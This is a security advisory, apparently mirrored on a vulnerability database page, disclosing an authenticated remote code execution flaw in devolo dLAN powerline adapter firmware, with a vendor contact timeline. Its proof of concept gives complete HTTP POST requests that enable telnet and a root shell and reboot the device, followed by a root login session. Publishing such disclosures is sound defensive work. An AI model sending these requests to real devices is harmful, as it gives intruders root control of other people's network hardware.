Lucene search

K
zeroscienceStefan PetrushevskiZSL-2019-5508
HistoryFeb 03, 2019 - 12:00 a.m.

devolo dLAN 550 duo+ Starter Kit Remote Code Execution

2019-02-0300:00:00
Stefan Petrushevski
zeroscience.mk
80

8.6 High

AI Score

Confidence

High

Title: devolo dLAN 550 duo+ Starter Kit Remote Code Execution
Advisory ID: ZSL-2019-5508
Type: Remote/Local
Impact: System Access, DoS
Risk: (4/5)
Release Date: 03.02.2019

Summary

Devolo dLAN® 550 duo+ Starter Kit is Powerlineadapter which is a cost-effective and helpful networking alternative for any location without structured network wiring. Especially in buildings or residences lacking network cables or where updating the wiring would be expensive and complicated, Powerline adapters provide networking at high transmission rates.

Description

The devolo firmware has what seems to be a ‘hidden’ services which can be enabled by authenticated attacker via the the htmlmgr CGI script. This allows the attacker to start services that are deprecated or discontinued and achieve remote arbitrary code execution with root privileges.

Vendor

devolo AG - <https://www.devolo.com>

Affected Version

dLAN 500 AV Wireless+ 3.1.0-1 (i386)

Tested On

Linux 2.6.31

Vendor Status

[04.10.2017] Vulnerability discovered.
[11.10.2017] Vendor contacted via email.
[14.10.2017] No response from the vendor.
[15.10.2017] Second attempt - Vendor contacted via email.
[02.02.2019] No response from the vendor.
[03.02.2019] Public security advisory released.

PoC

devolo_rce.txt

Credits

Vulnerability discovered by Stefan Petrushevski - <[email protected]>

References

[1] <https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5507.php&gt;
[2] <https://www.exploit-db.com/exploits/46325&gt;
[3] <https://packetstormsecurity.com/files/151527&gt;
[4] <https://cxsecurity.com/issue/WLB-2019020038&gt;
[5] <https://exchange.xforce.ibmcloud.com/vulnerabilities/156596&gt;

Changelog

[03.02.2019] - Initial release
[10.02.2019] - Added reference [2], [3], [4] and [5]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>devolo dLAN 550 duo+ Starter Kit Remote Code Execution


Vendor: devolo AG
Product web page: https://www.devolo.com
Affected version: dLAN 500 AV Wireless+ 3.1.0-1 (i386)

Summary: Devolo dLAN® 550 duo+ Starter Kit is Powerlineadapter which is
a cost-effective and helpful networking alternative for any location
without structured network wiring. Especially in buildings or residences
lacking network cables or where updating the wiring would be expensive
and complicated, Powerline adapters provide networking at high transmission
rates.

Desc: The devolo firmware has what seems to be a 'hidden' services which
can be enabled by authenticated attacker via the the htmlmgr CGI script.
This allows the attacker to start services that are deprecated or discontinued
and achieve remote arbitrary code execution with root privileges.

Tested on: Linux 2.6.31


Vulnerability discovered by Stefan Petrushevski aka sm
                            @zeroscience


Advisory ID: ZSL-2019-5508
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5508.php


04.10.2017

--

The htmlmgr cgi script that is accessible via web, does not validate or sanitize
the configuration parameters that a user wants to change. This allows an attacker
to change configuration parametersincluding parameters that are not even shown in
the web administration panel.

One service that is possible for an attacker to enable is telnet and remote maintenance
shell service and then proceed to login in with the 'root' user which doesn't have a password.

In order for an attacker to achieve this, he would need to change the following two values:
System.Baptization.Telnetd  &lt;- to enable telnet
System.Baptization.shell  	&lt;- to enable remote maintenance shell

--------
POST /cgi-bin/htmlmgr HTTP/1.1
Host: DEVOLO-IP

%3Asys%3ASystem.Baptization.Telnetd=1&amp;_okdir=spec&amp;_okpage=result&amp;_okfollowdir=status&amp;_okfollowpage=wireless&amp;_okplain=1&amp;_oktype=wlanstatus&amp;_file=%2Fwgl%2Fmain.wgl&amp;_style=std&amp;_lang=&amp;_dir=wireless&amp;_page=wps&amp;_idx=&amp;_sid=&amp;_csrf=
--------

--------
POST /cgi-bin/htmlmgr HTTP/1.1
Host: DEVOLO-IP

%3Asys%3ASystem.Baptization.shell=1&amp;_okdir=spec&amp;_okpage=result&amp;_okfollowdir=status&amp;_okfollowpage=wireless&amp;_okplain=1&amp;_oktype=wlanstatus&amp;_file=%2Fwgl%2Fmain.wgl&amp;_style=std&amp;_lang=&amp;_dir=wireless&amp;_page=wps&amp;_idx=&amp;_sid=&amp;_csrf=
--------

Since the configuration is read from a file on boot time, an attacker would also
need to somehow make the device to restart. This can be done by issuing the 'reboot'
command again from the html cgi script: System.Reboot

--------
POST /cgi-bin/htmlmgr HTTP/1.1
Host: DEVOLO-IP

%3Asys%3ASystem.Reboot=OLACANYOUREBOOT&amp;_okdir=spec&amp;_okpage=result&amp;_okfollowdir=status&amp;_okfollowpage=wireless&amp;_okplain=1&amp;_oktype=wlanstatus&amp;_file=%2Fwgl%2Fmain.wgl&amp;_style=std&amp;_lang=&amp;_dir=wireless&amp;_page=wps&amp;_idx=&amp;_sid=&amp;_csrf=
--------

After the reboot the devolo device will have a telnet service on TCP port 23 opened
and an attacker can now login to the device with user 'root' and no password.

--------
Trying DEVOLO-IP...
Connected to DEVOLO-IP.
Escape character is '^]'.

dlanwireless login: root
# whoami
root
# 
--------

The attacker then has complete access over the device. t00t.
</p></body></html>

8.6 High

AI Score

Confidence

High